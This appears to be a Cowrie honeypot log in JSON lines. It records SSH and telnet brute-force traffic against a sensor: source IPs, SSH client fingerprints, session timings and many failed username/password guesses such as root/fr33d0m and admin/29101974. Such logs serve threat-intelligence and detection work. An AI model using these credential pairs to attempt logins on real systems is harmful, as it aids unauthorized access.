{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35840,"dst_ip":"10.17.0.5","dst_port":22,"session":"8975de4b7e98","protocol":"ssh","message":"New connection: 45.153.34.112:35840 (10.17.0.5:22) [session: 8975de4b7e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:08.752303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:08.757194Z","src_ip":"45.153.34.112","session":"8975de4b7e98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:08.839645Z","src_ip":"45.153.34.112","session":"8975de4b7e98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:09.088939Z","src_ip":"45.153.34.112","session":"8975de4b7e98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:10.174114Z","src_ip":"45.153.34.112","session":"8975de4b7e98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58342,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aef4301fc2c","protocol":"telnet","message":"New connection: 192.119.13.58:58342 (10.17.0.5:23) [session: 0aef4301fc2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:10.299726Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51942,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d3b6b1e0044","protocol":"ssh","message":"New connection: 45.153.34.112:51942 (10.17.0.5:22) [session: 8d3b6b1e0044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:12.318699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:12.323410Z","src_ip":"45.153.34.112","session":"8d3b6b1e0044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:12.405509Z","src_ip":"45.153.34.112","session":"8d3b6b1e0044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:12.822866Z","src_ip":"45.153.34.112","session":"8d3b6b1e0044","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":19325,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dcfe59c3c82","protocol":"ssh","message":"New connection: 2.57.121.112:19325 (159.203.135.109:22) [session: 8dcfe59c3c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:13.066009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:13.074935Z","src_ip":"2.57.121.112","session":"8dcfe59c3c82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:13.179463Z","src_ip":"2.57.121.112","session":"8dcfe59c3c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29101974","message":"login attempt [admin/29101974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:13.651102Z","src_ip":"2.57.121.112","session":"8dcfe59c3c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39482,"dst_ip":"10.17.0.5","dst_port":23,"session":"677a59209b4c","protocol":"telnet","message":"New connection: 192.119.13.58:39482 (10.17.0.5:23) [session: 677a59209b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:13.715227Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:13.908895Z","src_ip":"45.153.34.112","session":"8d3b6b1e0044","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":53518,"dst_ip":"10.17.0.5","dst_port":22,"session":"e50ec29d3115","protocol":"ssh","message":"New connection: 43.153.112.253:53518 (10.17.0.5:22) [session: e50ec29d3115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:13.998554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:14.007026Z","src_ip":"43.153.112.253","session":"e50ec29d3115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:14.076305Z","src_ip":"43.153.112.253","session":"e50ec29d3115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fr33d0m","message":"login attempt [root/fr33d0m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:14.380603Z","src_ip":"43.153.112.253","session":"e50ec29d3115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290976","message":"login attempt [admin/290976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:14.754009Z","src_ip":"2.57.121.112","session":"8dcfe59c3c82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:15.454668Z","src_ip":"43.153.112.253","session":"e50ec29d3115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29091998","message":"login attempt [admin/29091998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:15.856523Z","src_ip":"2.57.121.112","session":"8dcfe59c3c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51954,"dst_ip":"10.17.0.5","dst_port":22,"session":"96431b9b56f5","protocol":"ssh","message":"New connection: 45.153.34.112:51954 (10.17.0.5:22) [session: 96431b9b56f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:15.886807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:15.892035Z","src_ip":"45.153.34.112","session":"96431b9b56f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:15.975363Z","src_ip":"45.153.34.112","session":"96431b9b56f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:16.229354Z","src_ip":"45.153.34.112","session":"96431b9b56f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54078,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae043afa06ce","protocol":"telnet","message":"New connection: 192.119.13.58:54078 (10.17.0.5:23) [session: ae043afa06ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:16.392817Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29091973","message":"login attempt [admin/29091973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:16.961635Z","src_ip":"2.57.121.112","session":"8dcfe59c3c82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:17.315900Z","src_ip":"45.153.34.112","session":"96431b9b56f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290879","message":"login attempt [admin/290879] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:18.065144Z","src_ip":"2.57.121.112","session":"8dcfe59c3c82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:19.168775Z","src_ip":"2.57.121.112","session":"8dcfe59c3c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56568,"dst_ip":"10.17.0.5","dst_port":22,"session":"9381259f1d6f","protocol":"ssh","message":"New connection: 45.153.34.112:56568 (10.17.0.5:22) [session: 9381259f1d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:19.529214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:19.534037Z","src_ip":"45.153.34.112","session":"9381259f1d6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:19.616494Z","src_ip":"45.153.34.112","session":"9381259f1d6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:19.872895Z","src_ip":"45.153.34.112","session":"9381259f1d6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.082823276519775,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:19.887668Z","src_ip":"192.119.13.58","session":"197c83c62deb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:20.958374Z","src_ip":"45.153.34.112","session":"9381259f1d6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56574,"dst_ip":"10.17.0.5","dst_port":22,"session":"4efa706614c3","protocol":"ssh","message":"New connection: 45.153.34.112:56574 (10.17.0.5:22) [session: 4efa706614c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:23.154720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:23.159790Z","src_ip":"45.153.34.112","session":"4efa706614c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:23.242201Z","src_ip":"45.153.34.112","session":"4efa706614c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:23.488950Z","src_ip":"45.153.34.112","session":"4efa706614c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:24.578532Z","src_ip":"45.153.34.112","session":"4efa706614c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"16.58.56.214","src_port":47644,"dst_ip":"159.203.135.109","dst_port":23,"session":"824f4ebd5e16","protocol":"telnet","message":"New connection: 16.58.56.214:47644 (159.203.135.109:23) [session: 824f4ebd5e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:25.800893Z"}
{"eventid":"cowrie.session.closed","duration":0.032375335693359375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:25.833147Z","src_ip":"16.58.56.214","session":"824f4ebd5e16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38830,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b4983ee268f","protocol":"telnet","message":"New connection: 192.119.13.58:38830 (10.17.0.5:23) [session: 6b4983ee268f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:26.231470Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56584,"dst_ip":"10.17.0.5","dst_port":22,"session":"02b7db92dabc","protocol":"ssh","message":"New connection: 45.153.34.112:56584 (10.17.0.5:22) [session: 02b7db92dabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:26.676523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:26.681731Z","src_ip":"45.153.34.112","session":"02b7db92dabc","protocol":"ssh"}
